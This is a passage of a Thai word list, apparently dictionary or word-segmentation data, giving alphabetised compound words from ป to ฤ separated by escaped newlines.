ด\\nปูนขาว\\nปูนซีเมนต์\\nปูนดิบ\\nปูนแดง\\nปูนปลาสเตอร์\\nปูนปั้น\\nเป็ดเทศ\\nเป็ดน้ำ\\nเป็นกลาง\\nเป็นใจ\\nเป็นต้น\\nเป็นต่อ\\nเป็นรอง\\nเป็นไร\\nเป็นลม\\nเป็นห่วง\\nเป็นอยู่\\nเปรมปรีดิ์\\nเปรอะเปื้อน\\nเปรียบเทียบ\\nเปรียบเปรย\\nเปรี้ยวปาก\\nเปรี้ยวหวาน\\nเปรื่องปราด\\nเปลญวน\\nเปล่งปลั่ง\\nเปล่าดาย\\nเปล่าเปลี่ยว\\nเปลี่ยนใจ\\nเปลี่ยนตัว\\nเปลี่ยนแปลง\\nเปลี่ยนมือ\\nเปลี่ยนหน้า\\nเป๋อเหลอ\\nเปะปะ\\nเป่ากบ\\nเป้านิ่ง\\nเป้าหมาย\\nเปิดฉาก\\nเปิดเปิง\\nเปิดโปง\\nเปิดผนึก\\nเปิดเผย\\nเปียกปูน\\nแป้งสาลี\\nแป้งนวล\\nแป้งเปียก\\nแป้งมัน\\nแป้งฝุ่น\\nแป้งร่ำ\\nแป้งสิงคโปร์\\nแป้งหมี่\\nแปดปน\\nแปดเปื้อน\\nแปรปรวน\\nแปรผัน\\nแปรพักตร์\\nแปรรูป\\nแปรอักษร\\nแปลกปลอม\\nแปะโป้ง\\nโป้ปด\\nโปร่งแสง\\nโปร่งใส\\nโปรดปราน\\nโปรยทาน\\nโปรยปราย\\nโปโลน้ำ\\nผกผัน\\nผกากรอง\\nผงขาว\\nผงชูรส\\nผงซักฟอก\\nผงฟู\\nผดุงครรภ์\\nผมไฟ\\nผลพลอยได้\\nผลลัพธ์\\nผลัดเปลี่ยน\\nผลิตผล\\nผลิตภัณฑ์\\nผลุบโผล่\\nผสมเทียม\\nผสมผสาน\\nผสมผเส\\nผสมพันธุ์\\nผสมโรง\\nผสมเสร็จ\\nผ่องแผ้ว\\nผ่องใส\\nผ่อนคลาย\\nผ่อนชำระ\\nผ่อนปรน\\nผ่อนผัน\\nผ่อนส่ง\\nผอมโซ\\nผอมแห้ง\\nผักชี\\nผักตบชวา\\nผักบุ้ง\\nผังเมือง\\nผัดผ่อน\\nผันแปร\\nผันผวน\\nผ่าตัด\\nผ่าเผย\\nผ่าหมาก\\nผ่าเหล่า\\nผ้าขนหนู\\nผ้าขาวม้า\\nผ้าขี้ริ้ว\\nผ้าเช็ดตัว\\nผ้าเช็ดปาก\\nผ้าเช็ดมือ\\nผ้าเช็ดหน้า\\nผ้าดิบ\\nผ้าต่วน\\nผ้าไตร\\nผ้าถุง\\nผ้าแถบ\\nผ้านวม\\nผ้านุ่ง\\nผ้าใบ\\nผ้าป่า\\nผ้าป่าน\\nผ้าผ่อน\\nผ้าพันคอ\\nผ้าพันแผล\\nผ้าแพร\\nผ้าโพกหัว\\nผ้ามัดหมี่\\nผ้ายาง\\nผ้าลูกไม้\\nผ้าเหลือง\\nผ้าอนามัย\\nผ้าอ้อม\\nผาดโผน\\nผาติกรรม\\nผิดหวัง\\nผิวเผิน\\nผิวพรรณ\\nผิวหนัง\\nผีกระสือ\\nผีกระหัง\\nผีกองกอย\\nผีโขมด\\nผีดิบ\\nผีตองเหลือง\\nผีถ้วยแก้ว\\nผีแถน\\nผีทะเล\\nผีบุญ\\nผีปอบ\\nผีพุ่งไต้\\nผีฟ้า\\nผีเรือน\\nผีสาง\\nผีเสื้อ\\nผีห่า\\nผึ่งผาย\\nผุดผ่อง\\nผุดผาด\\nผู้คน\\nผู้คุม\\nผู้จัดการ\\nผู้ชาย\\nผู้เชี่ยวชาญ\\nผู้ดี\\nผู้โดยสาร\\nผู้ต้องขัง\\nผู้ต้องหา\\nผู้แทน\\nผู้น้อย\\nผู้บริโภค\\nผู้บังคับบัญชา\\nผู้ปกครอง\\nผู้ประกอบการ\\nผู้ป่วย\\nผู้พิพากษา\\nผู้เยาว์\\nผู้ร้าย\\nผู้วิเศษ\\nผู้สื่อข่าว\\nผู้เสียหาย\\nผู้หญิง\\nผู้ใหญ่\\nผู้ใหญ่บ้าน\\nผูกขวัญ\\nผูกขาด\\nผูกพัน\\nผูกมัด\\nเผชิญหน้า\\nเผด็จการ\\nเผด็จศึก\\nเผยแผ่\\nเผยแพร่\\nเผละผละ\\nเผ่าพันธุ์\\nเผื่อแผ่\\nแผงลอย\\nแผนการ\\nแผนงาน\\nแผนที่\\nแผนผัง\\nแผนภาพ\\nแผนภูมิ\\nแผ่นดิน\\nแผ่นเสียง\\nแผ้วพาน\\nโผงผาง\\nฝนทอง\\nฝอยทอง\\nฝักแค\\nฝักบัว\\nฝักฝ่าย\\nฝักใฝ่\\nฝังใจ\\nฝังหัว\\nฝาชี\\nฝาแฝด\\nฝาละมี\\nฝ่าพระบาท\\nฝ่าฝืน\\nฝ่าฟัน\\nฝ้าฟาง\\nฝากตัว\\nฝากฝัง\\nฝีดาษ\\nฝีมะม่วง\\nฝีจักร\\nฝีเท้า\\nฝีปาก\\nฝีพาย\\nฝีมือ\\nฝีเย็บ\\nฝึกงาน\\nฝึกปรือ\\nฝึกฝน\\nฝึกสอน\\nฝึกหัด\\nฝืดเคือง\\nใฝ่ฝัน\\nพงพี\\nพงศ์พันธุ์\\nพญาโศก\\nพญาไฟ\\nพบปะ\\nพบพาน\\nพรสวรรค์\\nพรมคด\\nพรมแดน\\nพรมมิ\\nพรรคพวก\\nพรรณราย\\nพรวดพราด\\nพรหมชาติ\\nพรหมลิขิต\\nพรหมโลก\\nพรหมวิหาร\\nพร้อมใจ\\nพร้อมพรั่ง\\nพร้อมเพรียง\\nพร้อมมูล\\nพร้อมสรรพ\\nพร้อมหน้า\\nพระครู\\nพระคุณ\\nพระเคราะห์\\nพระเครื่อง\\nพระเจ้า\\nพระเจ้าอยู่หัว\\nพระชายา\\nพระทัย\\nพระนาง\\nพระนางเจ้า\\nพระเป็นเจ้า\\nพระผู้เป็นเจ้า\\nพระพิมพ์\\nพระพุทธเจ้า\\nพระพุทธองค์\\nพระภูมิ\\nพระยา\\nพระรอง\\nพระสนม\\nพระสนมเอก\\nพระองค์\\nพระองค์เจ้า\\nพระเอก\\nพรั่งพร้อม\\nพรั่งพรู\\nพรั่นพรึง\\nพร่างพราว\\nพรายน้ำ\\nพรายแพรว\\nพราวแพรว\\nพร่ำพลอด\\nพร่ำเพรื่อ\\nพร่ำเพ้อ\\nพริกไทย\\nพริ้งพราย\\nพริ้งเพรา\\nพริ้งเพริศ\\nพริบตา\\nพริ้มพราย\\nพริ้มเพรา\\nพรุ่งนี้\\nพฤติกรรม\\nพฤติการณ์\\nพฤตินัย\\nพลการ\\nพลขับ\\nพลความ\\nพลเมือง\\nพลรบ\\nพลร่ม\\nพลเรือน\\nพลโลก\\nพลศึกษา\\nพลบค่ำ\\nพลอดรัก\\nพลังงาน\\nพลังเงียบ\\nพลังจิต\\nพลั้งปาก\\nพลั้งเผลอ\\nพลั้งพลาด\\nพลัดถิ่น\\nพลัดพราก\\nพลาดท่า\\nพลาดพลั้ง\\nพลิกแพลง\\nพลีกรรม\\nพลุ่งพล่าน\\nพวกพ้อง\\nพวงมาลัย\\nพวงมาลา\\nพวงหรีด\\nพวงคราม\\nพวงชมพู\\nพวงแสด\\nพ่วงพี\\nพวยน้ำ\\nพวยพุ่ง\\nพสกนิกร\\nพหุคูณ\\nพหุภาคี\\nพหูพจน์\\nพหูสูต\\nพอควร\\nพอใจ\\nพอใช้\\nพอใช้ได้\\nพอดี\\nพอตัว\\nพอทำเนา\\nพอประมาณ\\nพอเพียง\\nพอแรง\\nพอสมควร\\nพอเหมาะ\\nพ่อขุน\\nพ่อครัว\\nพ่อตา\\nพ่อบ้าน\\nพ่อพันธุ์\\nพ่อม่าย\\nพ่อเมือง\\nพ่อเลี้ยง\\nพ่อสื่อ\\nพอกพูน\\nพ้องพาน\\nพักผ่อน\\nพักพิง\\nพักฟื้น\\nพักร้อน\\nพักแรม\\nพัดยศ\\nพัดลม\\nพันพัว\\nพับฐาน\\nพับเพียบ\\nพัวพัน\\nพาซื่อ\\nพาดพิง\\nพิณพาทย์\\nพิธีกร\\nพิธีกรรม\\nพิธีการ\\nพิธีรีตอง\\nพิธีสาร\\nพินัยกรรม\\nพิมพ์เขียว\\nพิมพ์ใจ\\nพิมพ์ดีด\\nพิษสง\\nพี่น้อง\\nพี่เบิ้ม\\nพี่เลี้ยง\\nพึงใจ\\nพึงพอใจ\\nพึ่งพา\\nพึ่งพิง\\nพืชพันธุ์\\nพืชมงคล\\nพื้นฐาน\\nพื้นที่\\nพื้นบ้าน\\nพื้นเพ\\nพื้นเมือง\\nพื้นเสีย\\nพุพอง\\nพุทธกาล\\nพุทธคุณ\\nพุทธจักร\\nพุทธเจดีย์\\nพุทธฎีกา\\nพุทธปฏิมา\\nพุทธปฏิมากร\\nพุทธมามกะ\\nพุทธศักราช\\nพุทธศาสนิกชน\\nพุทธองค์\\nพุทธชาด\\nพุทธรักษา\\nพุ่มพวง\\nพุ่มไม้\\nพู่กัน\\nพูดจา\\nเพ่งเล็ง\\nเพดานบิน\\nเพดานปาก\\nเพริศพราย\\nเพริศพริ้ง\\nเพริศแพร้ว\\nเพรียกพร้อง\\nเพรียวลม\\nเพลงเชิด\\nเพลงยาว\\nเพลิงกัลป์\\nเพลินใจ\\nเพลินตา\\nเพลี่ยงพล้ำ\\nเพ้อฝัน\\nเพาะกาย\\nเพาะชำ\\nเพาะปลูก\\nเพิกถอน\\nเพิกเฉย\\nเพิ่มเติม\\nเพิ่มพูน\\nเพียงตา\\nเพียงพอ\\nเพียบแประ\\nเพียบพร้อม\\nเพื่อนเกลอ\\nเพื่อนตาย\\nเพื่อนบ้าน\\nเพื่อนฝูง\\nเพื่อนยาก\\nแพ้ท้อง\\nแพร่หลาย\\nแพร่งพราย\\nแพรวพราว\\nโพธิญาณ\\nโพธิบัลลังก์\\nโพธิสมภาร\\nโพธิสัตว์\\nโพ้นทะเล\\nโพยภัย\\nไพ่ตาย\\nไพ่ป๊อก\\nไพรวัน\\nไพรสณฑ์\\nไพรสัณฑ์\\nไพร่พล\\nไพร่ฟ้า\\nไพร่สม\\nไพร่ส่วย\\nไพร่หลวง\\nฟกช้ำ\\nฟองเต้าหู้\\nฟองน้ำ\\nฟองมัน\\nฟ้องกลับ\\nฟ้องร้อง\\nฟอนเฟะ\\nฟักทอง\\nฟัดเฟียด\\nฟันดาบ\\nฟันฝ่า\\nฟันแท้\\nฟันน้ำนม\\nฟันปลา\\nฟันฟาง\\nฟันเฟือง\\nฟันม้า\\nฟันเลื่อย\\nฟันหนู\\nฟั่นเฝือ\\nฟั่นเฟือน\\nฟื้นตัว\\nฟื้นฝอย\\nฟื้นฟู\\nฟุ้งซ่าน\\nฟุ้งเฟ้อ\\nฟุ้งเฟื่อง\\nฟุตบอล\\nฟูฟ่อง\\nฟูเฟื่อง\\nฟูมฟัก\\nฟูมฟาย\\nเฟะฟะ\\nเฟื่องฟ้า\\nเฟื่องฟุ้ง\\nเฟื่องฟู\\nไฟฉาย\\nไฟแช็ก\\nไฟธาตุ\\nไฟฟ้า\\nภัตกิจ\\nภาคทัณฑ์\\nภาคพื้น\\nภาคเรียน\\nภาคภูมิ\\nภาพถ่าย\\nภาพนิ่ง\\nภาพประกอบ\\nภาพพจน์\\nภาพยนตร์\\nภาพลวงตา\\nภาพลักษณ์\\nภายนอก\\nภายใน\\nภายหน้า\\nภายหลัง\\nภารกิจ\\nภารธุระ\\nภารโรง\\nภารตวิทยา\\nภาษาศาสตร์\\nภาสกร\\nภิญโญภาพ\\nภินชาติ\\nภูธร\\nภูธเรศ\\nภูบาล\\nภูเบศ\\nภูเบศวร์\\nภูเขา\\nภูเขาไฟ\\nภูผา\\nภูตคาม\\nภูตบดี\\nภูตรูป\\nภูเตศวร\\nภูมินทร์\\nภูมิบาล\\nภูมิประเทศ\\nภูมิภาค\\nภูมิรัฐศาสตร์\\nภูมิลำเนา\\nภูมิศาสตร์\\nภูมิอากาศ\\nภูมิธรรม\\nภูมิปัญญา\\nภูมิรู้\\nภูมิใจ\\nภูมิฐาน\\nภูมิคุ้มกัน\\nภูมิแพ้\\nภูษาโยง\\nเภทภัย\\nเภสัชกร\\nเภสัชกรรม\\nเภสัชวิทยา\\nเภสัชศาสตร์\\nโภคทรัพย์\\nโภคภัณฑ์\\nโภชนากร\\nโภชนาการ\\nมกุฎราชกุมาร\\nมงคลแฝด\\nมงคลสูตร\\nมงคลหัตถี\\nมณเฑียรบาล\\nมดดำ\\nมดแดง\\nมดเท็จ\\nมดยอบ\\nมดลูก\\nมธุปายาส\\nมธุรส\\nมนเทียรบาล\\nมนุษย์กบ\\nมโนกรรม\\nมโนคติ\\nมโนทุจริต\\nมโนธรรม\\nมโนภาพ\\nมโนมัย\\nมโนรถ\\nมโนรมย์\\nมโนสุจริต\\nมรรคนายก\\nมรรคผล\\nมฤคชาติ\\nมฤคทายวัน\\nมฤคราช\\nมลทิน\\nมลพิษ\\nมลสาร\\nมวกเหล็ก\\nม้วนหน้า\\nมวยไทย\\nมวยปล้ำ\\nมวยล้ม\\nมวยวัด\\nมวยสากล\\nมวยหมู่\\nมวลสาร\\nมอคราม\\nมอซอ\\nมอหมึก\\nมองเมียง\\nมอบตัว\\nมอบหมาย\\nมอมเมา\\nมะขามเทศ\\nมะขามป้อม\\nมะขามเปียก\\nมะเขือเทศ\\nมะเขือพวง\\nมะพร้าวแก้ว\\nมักคุ้น\\nมักจี่\\nมักง่าย\\nมักน้อย\\nมักมาก\\nมักใหญ่\\nมั่งคั่ง\\nมั่งมี\\nมัจจุราช\\nมัชฌิมนิกาย\\nมัชฌิมประเทศ\\nมัชฌิมยาม\\nมัชฌิมวัย\\nมัดจำ\\nมัดหมี่\\nมัธยมกาล\\nมัธยมศึกษา\\nมันแกว\\nมันเทศ\\nมันฝรั่ง\\nมันเปลว\\nมันสมอง\\nมั่นคง\\nมั่นใจ\\nมั่นหมาย\\nมั่นเหมาะ\\nมัวเมา\\nมัวหมอง\\nมั่วสุม\\nม้าเทศ\\nม้าน้ำ\\nม้ามืด\\nม้าเร็ว\\nม้าล่อ\\nม้าลาย\\nมากมาย\\nมาตรการ\\nมาตรฐาน\\nมาตราส่วน\\nมาตุคาม\\nมาตุฆาต\\nมาตุภูมิ\\nม่านตา\\nม่านบังตา\\nมายากร\\nมายากล\\nมายาการ\\nมายาวี\\nมารผจญ\\nมารวิชัย\\nมารสังคม\\nมารหัวขน\\nมาลาการ\\nมิ่งขวัญ\\nมิ่งมิตร\\nมิจฉาจาร\\nมิจฉาชีพ\\nมิดชิด\\nมิดเมี้ยน\\nมิดหมี\\nมิตรจิต\\nมิตรภาพ\\nมิตรสหาย\\nมิน่า\\nมีหน้า\\nมีดโกน\\nมีดดาบ\\nมีดโต้\\nมีดพก\\nมีดพับ\\nมีดสั้น\\nมึนงง\\nมึนชา\\nมึนตึง\\nมึนเมา\\nมืดครึ้ม\\nมืดมน\\nมืดมัว\\nมือจับ\\nมือดี\\nมือเติบ\\nมือปืน\\nมือเปล่า\\nมือมืด\\nมือสอง\\nมือเสือ\\nมือหนึ่ง\\nมือใหม่\\nมุกตลก\\nมุขปาฐะ\\nมุขมนตรี\\nมุ่งมั่น\\nมุ่งมาด\\nมุ่งหน้า\\nมุ่งหมาย\\nมุ่งหวัง\\nมุ้งลวด\\nมุ้งสายบัว\\nมุมก้ม\\nมุมกลับ\\nมุมเงย\\nมุมฉาก\\nมุมตรง\\nมุมป้าน\\nมุมมืด\\nมุมแย้ง\\nมุมสะท้อน\\nมุมหักเห\\nมุมแหลม\\nมุสาวาท\\nมูกเลือด\\nมูกมัน\\nมูกหลวง\\nมูนดิน\\nมูลฐาน\\nมูลนาย\\nมูลนิธิ\\nมูลเหตุ\\nมูลค่า\\nมูลฝอย\\nเม็ดเงิน\\nเม็ดเลือด\\nเม็ดโลหิต\\nเม่นทะเล\\nเมรุมาศ\\nเมรุราช\\nเมล์อากาศ\\nเมาดิบ\\nเมามัน\\nเมามัว\\nเมามาย\\nเมินเฉย\\nเมียน้อย\\nเมียหลวง\\nเมียงมอง\\nเมี่ยงลาว\\nเมี่ยงส้ม\\nเมื่อกี้\\nเมื่อตะกี้\\nเมื่อใด\\nเมื่อไร\\nเมื่อไหร่\\nเมื่อนั้น\\nเมืองขึ้น\\nเมืองท่า\\nเมืองนอก\\nเมืองหลวง\\nเมื่อยขบ\\nเมื่อยล้า\\nแม่กอง\\nแม่กุญแจ\\nแม่คุณ\\nแม่งาน\\nแม่เจ้า\\nแม่ชี\\nแม่ทัพ\\nแม่นม\\nแม่น้ำ\\nแม่บท\\nแม่บ้าน\\nแม่เบี้ย\\nแม่พระ\\nแม่พิมพ์\\nแม่เพลง\\nแม่มด\\nแม่ม่าย\\nแม่ไม้\\nแม่ยก\\nแม่ยาย\\nแม่ร้าง\\nแม่เรือน\\nแม่แรง\\nแม่เล้า\\nแม่เลี้ยง\\nแม่สี\\nแม่สื่อ\\nแม่เหล็ก\\nแมงมุม\\nแม่นยำ\\nแมลงช้าง\\nแมลงวัน\\nแมลงปอ\\nแมลงภู่\\nแมลงเม่า\\nแมวเซา\\nแมวน้ำ\\nแมวป่า\\nแมวมอง\\nไม้กลัด\\nไม้กวาด\\nไม้กางเขน\\nไม้เกาหลัง\\nไม้ขีดไฟ\\nไม้จิ้มฟัน\\nไม้เด็ด\\nไม้ตาย\\nไม้ตีพริก\\nไม้ที\\nไม้เท้า\\nไม้บรรทัด\\nไม้เมตร\\nไม้ระแนง\\nไม้เรียว\\nไม้หมอน\\nไม้อัด\\nไม้จัตวา\\nไม้ตรี\\nไม้ไต่คู้\\nไม้โท\\nไม้ผัด\\nไม้มลาย\\nไม้ม้วน\\nไม้ยมก\\nไม้หน้า\\nไม้หันอากาศ\\nไม้เอก\\nยกกลีบ\\nยกครู\\nยกเครื่อง\\nยกเค้า\\nยกทรง\\nยกฟ้อง\\nยกเมฆ\\nยกยอ\\nยกย่อง\\nยกเลิก\\nยกเว้น\\nย่นย่อ\\nยมทูต\\nยมบาล\\nยมราช\\nยมโลก\\nยวดยิ่ง\\nยวดยาน\\nยวนยี\\nยวบยาบ\\nย่อท้อ\\nย่อส่วน\\nย่อหน้า\\nย่อหย่อน\\nยอกย้อน\\nยองใย\\nย่องเบา\\nย่องแย่ง\\nยอดเยี่ยม\\nยอดอก\\nย้อนยอก\\nย้อนรอย\\nย้อนศร\\nย้อนแสง\\nย้อนหลัง\\nยอบแยบ\\nยอมความ\\nย่อมเยา\\nย่อยยับ\\nยักยอก\\nยักย้าย\\nยักเยื้อง\\nยัญกรรม\\nยัญพิธี\\nยัดเยียด\\nยับเยิน\\nยับยั้ง\\nยั่วยวน\\nยั่วยุ\\nยั่วเย้า\\nยากวาด\\nยากันยุง\\nยาเขียว\\nยาใจ\\nยาฉุน\\nยาชา\\nยาซัด\\nยาดอง\\nยาแดง\\nยาถ่าย\\nยาธาตุ\\nยานัตถุ์\\nยาเบื่อ\\nยาโป๊\\nยาแฝด\\nยาพิษ\\nยาระบาย\\nยาสลบ\\nยาสั่ง\\nยาสีฟัน\\nยาสูบ\\nยาเส้น\\nยาเสพติด\\nยาหม่อง\\nยาเหลือง\\nย่าทวด\\nย่านาง\\nยากแค้น\\nยากจน\\nยากเย็น\\nยากไร้\\nยางนอก\\nยางใน\\nยางมะตอย\\nยางมะตูม\\nยางลบ\\nยางสน\\nยางอาย\\nย่างกราย\\nย่างเยื้อง\\nย่างสด\\nย่างสามขุม\\nย่างเหยียบ\\nยานเกราะ\\nยานพาหนะ\\nยานอวกาศ\\nยานคาง\\nยายทวด\\nยาวเฟื้อย\\nยาวยืด\\nยาวเหยียด\\nยำทวาย\\nยำใหญ่\\nยำเกรง\\nยำเยง\\nย่ำต๊อก\\nย่ำยี\\nย่ำแย่\\nยิงเป้า\\nยิ่งนัก\\nยิ่งยวด\\nยิ่งใหญ่\\nยินดี\\nยินยอม\\nยินร้าย\\nยิ้มกริ่ม\\nยิ้มแฉ่ง\\nยิ้มแต้\\nยิ้มแป้น\\nยิ้มเผล่\\nยิ้มเยาะ\\nยิ้มแย้ม\\nยียวน\\nยึดครอง\\nยึดถือ\\nยึดมั่น\\nยึดเหนี่ยว\\nยืดยาด\\nยืดยาว\\nยืดเยื้อ\\nยืดหยุ่น\\nยืดอก\\nยืนกราน\\nยืนต้น\\nยืนพื้น\\nยืนยง\\nยืนยัน\\nยืนหยัด\\nยื้อยุด\\nยุยง\\nยุแยง\\nยุแหย่\\nยุคลบาท\\nยุคเข็ญ\\nยุคทอง\\nยุคมืด\\nยุ่งขิง\\nยุ่งยาก\\nยุ่งเหยิง\\nยุติธรรม\\nยุทธการ\\nยุทธนาวี\\nยุทธปัจจัย\\nยุทธภัณฑ์\\nยุทธภูมิ\\nยุทธวิธี\\nยุทธศาสตร์\\nยุทธหัตถี\\nยุทธนาการ\\nยุทธนาธิการ\\nยุบยับ\\nยุบยิบ\\nยุพราช\\nยู่ยี่\\nเย็นเจี๊ยบ\\nเย็นใจ\\nเย็นฉ่ำ\\nเย็นเฉียบ\\nเย็นชา\\nเย็นชืด\\nเย็นตา\\nเย็นเยียบ\\nเย็นเยือก\\nเย็นวาบ\\nเย็นวูบ\\nเย็บกี่\\nเย็บจักร\\nเย็บด้าย\\nเย้ยหยัน\\nเย้าหยอก\\nเยาะเย้ย\\nเยี่ยมกราย\\nเยี่ยมเยียน\\nเยี่ยมเยือน\\nเยี่ยมยอด\\nเยื่อเคย\\nเยื่อใย\\nเยือกเย็น\\nเยื้องกราย\\nเยื้องยัก\\nเยื้องย่าง\\nแยกย้าย\\nแยกแยะ\\nแย่งชิง\\nแยบคาย\\nแยบยล\\nแย้มพราย\\nแย้มยิ้ม\\nแย้มสรวล\\nโยเย\\nโย้เย้\\nโยกโคลง\\nโยกย้าย\\nโยกโย้\\nโยนกลอง\\nใยหิน\\nรกชัฏ\\nรกร้าง\\nรกเรี้ยว\\nรกเรื้อ\\nรกราก\\nรงควัตถุ\\nรชนีกร\\nรถกระบะ\\nรถเก๋ง\\nรถเข็น\\nรถแข่ง\\nรถจักร\\nรถจี๊ป\\nรถตู้\\nรถทัวร์\\nรถบรรทุก\\nรถพ่วง\\nรถพยาบาล\\nรถไฟ\\nรถไฟฟ้า\\nรถม้า\\nรถเมล์\\nรถยนต์\\nรถราง\\nรถลาก\\nรถสปอร์ต\\nรถสิบล้อ\\nรบกวน\\nรบรา\\nรบเร้า\\nรมดำ\\nร่มเกล้า\\nร่มชูชีพ\\nร่มเย็น\\nร่มรื่น\\nร่วงโรย\\nรวงผึ้ง\\nรวงรัง\\nรวดเร็ว\\nรวนเร\\nรวบยอด\\nรวบรวม\\nรวบรัด\\nรวมพล\\nรวมหัว\\nร่วมใจ\\nร่วมเพศ\\nร่วมมือ\\nร่วมรัก\\nร่วมสมัย\\nรวยริน\\nรวยรื่น\\nรสชาติ\\nรสนิยม\\nรองท้อง\\nรองเท้า\\nรองพื้น\\nร่องน้ำ\\nร่องรอย\\nร้องขอ\\nร้องทุกข์\\nร้องเรียน\\nร้องห่ม\\nร้องไห้\\nรองช้ำ\\nรองทรง\\nรอดชีวิต\\nรอดตัว\\nรอดตาย\\nรอนแรม\\nร่อนเร่\\nร้อนใจ\\nร้อนตัว\\nร้อนรน\\nร้อนรุ่ม\\nร้อนวิชา\\nร้อนอาสน์\\nรอบจัด\\nรอบเดือน\\nรอบรู้\\nรอยร้าว\\nร่อยหรอ\\nร้อยละ\\nร้อยกรอง\\nร้อยแก้ว\\nร้อยหวาย\\nระนาดทุ้ม\\nระนาดเอก\\nระเบิดขวด\\nระเบิดมือ\\nระเบียบการ\\nรักใคร่\\nรักษาการ\\nรักษาการณ์\\nรังไข่\\nรังแตน\\nรังนก\\nรังผึ้ง\\nรังเพลิง\\nรังมด\\nรังสรรค์\\nรังสฤษฏ์\\nรั้งรอ\\nรังสีแพทย์\\nรังสีวิทยา\\nรัชกาล\\nรัชทายาท\\nรัชนีกร\\nรัฐธรรมนูญ\\nรัฐบาล\\nรัฐบุรุษ\\nรัฐประศาสน์\\nรัฐประหาร\\nรัฐพิธี\\nรัฐมนตรี\\nรัฐวิสาหกิจ\\nรัฐศาสตร์\\nรัฐสภา\\nรัดกุม\\nรัดเกล้า\\nรัดตัว\\nรัดประคด\\nรัดรึง\\nรัดรูป\\nรัตติกาล\\nรับขวัญ\\nรับจ้าง\\nรับช่วง\\nรับใช้\\nรับซื้อ\\nรับทราบ\\nรับประกัน\\nรับประทาน\\nรับปาก\\nรับผิด\\nรับผิดชอบ\\nรับฟ้อง\\nรับฟัง\\nรับมือ\\nรับรอง\\nรับรู้\\nรับสมัคร\\nรับสั่ง\\nรับหน้า\\nรับเหมา\\nรั่วไหล\\nรามือ\\nร่าเริง\\nรากแก้ว\\nรากขวัญ\\nรากฐาน\\nรากฟัน\\nรากศัพท์\\nรากเหง้า\\nร่างกาย\\nร่างแห\\nร้างรา\\nราชกรณียกิจ\\nราชการ\\nราชกิจ\\nราชครู\\nราชฐาน\\nราชทัณฑ์\\nราชทินนาม\\nราชทูต\\nราชธานี\\nราชนาวี\\nราชบัณฑิต\\nราชบัลลังก์\\nราชบาตร\\nราชบุตร\\nราชปะแตน\\nราชภัฏ\\nราชมัล\\nราชยาน\\nราชรถ\\nราชลัญจกร\\nราชเลขาธิการ\\nราชเลขานุการ\\nราชวงศ์\\nราชวัติ\\nราชสกุล\\nราชสมบัติ\\nราชสาส์น\\nราชหัตถเลขา\\nราชองครักษ์\\nราชโองการ\\nราชาคณะ\\nราชาศัพท์\\nราชินีนาถ\\nร้านชำ\\nร้านรวง\\nราบคาบ\\nราบรื่น\\nราบเรียบ\\nรายการ\\nรายงาน\\nรายจ่าย\\nรายได้\\nรายทาง\\nรายรับ\\nรายล้อม\\nรายละเอียด\\nรายวิชา\\nร่ายยาว\\nร่ายรำ\\nร้ายกาจ\\nร้ายแรง\\nราวนม\\nราวป่า\\nร้าวฉาน\\nร้าวราน\\nรำพัด\\nรำแพน\\nรำวง\\nร่ำไป\\nร่ำร้อง\\nร่ำเรียน\\nร่ำไร\\nร่ำลา\\nร่ำไห้\\nริเริ่ม\\nริอ่าน\\nริมฝีปาก\\nริ้วรอย\\nรีบร้อน\\nรีบรุด\\nรีบเร่ง\\nรื่นรมย์\\nรื่นเริง\\nรื้อถอน\\nรื้อฟื้น\\nรุกฆาต\\nรุกราน\\nรุกล้ำ\\nรุกไล่\\nรุ่งขึ้น\\nรุ่งแจ้ง\\nรุ่งเช้า\\nรุ่งเรือง\\nรุ่งโรจน์\\nรุ่งสว่าง\\nรุ่งสาง\\nรุ่งอรุณ\\nรุจิเรข\\nรุดหน้า\\nรุนแรง\\nรุมเร้า\\nรุมล้อม\\nรุ่มรวย\\nรุ่มร้อน\\nรุ่ยร่าย\\nรู้แกว\\nรู้ความ\\nรู้คุณ\\nรู้งาน\\nรู้จัก\\nรู้แจ้ง\\nรู้ใจ\\nรู้เชิง\\nรู้ตัว\\nรู้ทัน\\nรู้เท่า\\nรู้เรื่อง\\nรู้สำนึก\\nรู้สึก\\nรู้เห็น\\nรูปการณ์\\nรูปโฉม\\nรูปฌาน\\nรูปถ่าย\\nรูปทรง\\nรูปธรรม\\nรูปแบบ\\nรูปพรรณ\\nรูปพรหม\\nรูปภพ\\nรูปภาพ\\nรูปร่าง\\nรูปสมบัติ\\nเร่ร่อน\\nเร่งด่วน\\nเร่งมือ\\nเร่งรัด\\nเร่งรีบ\\nเร่งเร้า\\nเร้นลับ\\nเร่อร่า\\nเร่าร้อน\\nเราะราย\\nเราะร้าย\\nเริงใจ\\nเริงรมย์\\nเริดร้าง\\nเริ่มต้น\\nเริ่มแรก\\nเรี่ยราด\\nเรี่ยไร\\nเรียกคืน\\nเรียกตัว\\nเรียกร้อง\\nเรียกหา\\nเรียบร้อย\\nเรียงความ\\nเรียงตัว\\nเรียงเบอร์\\nเรียงพิมพ์\\nเรียงเม็ด\\nเรียงราย\\nเรียนรู้\\nเรียบร้อย\\nเรียบเรียง\\nเรียบวุธ\\nเรี่ยมเร้\\nเรี่ยวแรง\\nเรือกลไฟ\\nเรือกอและ\\nเรือกำปั่น\\nเรือจ้าง\\nเรือดำน้ำ\\nเรือโดยสาร\\nเรือตรวจการณ์\\nเรือตังเก\\nเรือธง\\nเรือนำร่อง\\nเรือบด\\nเรือบิน\\nเรือใบ\\nเรือประมง\\nเรือพ่วง\\nเรือพิฆาต\\nเรือยนต์\\nเรือยาว\\nเรือโยง\\nเรือรบ\\nเรือลากจูง\\nเรือสำปั้น\\nเรือสำเภา\\nเรือหลวง\\nเรือหางยาว\\nเรืออีโปง\\nเรือเอี้ยมจุ๊น\\nเรื้อรัง\\nเรือกสวน\\nเรืองนาม\\nเรืองรอง\\nเรืองแสง\\nเรื่องราว\\nเรื่องสั้น\\nเรือนแก้ว\\nเรือนจำ\\nเรือนเบี้ย\\nเรือนแพ\\nเรือนหอ\\nเรื่อยเจื้อย\\nเรื่อยเฉื่อย\\nเรื่อยเปื่อย\\nแรเงา\\nแรกนา\\nแรกนาขวัญ\\nแรงงาน\\nแรงดึงดูด\\nแรงเทียน\\nแรงม้า\\nแรงเหวี่ยง\\nแรมรอน\\nแรมรา\\nแรมโรย\\nโรคจิต\\nโรงครัว\\nโรงงาน\\nโรงเจ\\nโรงเตี๊ยม\\nโรงทาน\\nโรงนา\\nโรงพยาบาล\\nโรงพัก\\nโรงพิมพ์\\nโรงเรียน\\nโรงเรือน\\nโรงแรม\\nโรงเลี้ยง\\nโรงเลื่อย\\nโรงสี\\nโรงสีข้าว\\nโรงอาหาร\\nโรมรัน\\nโรยรา\\nฤชากร\\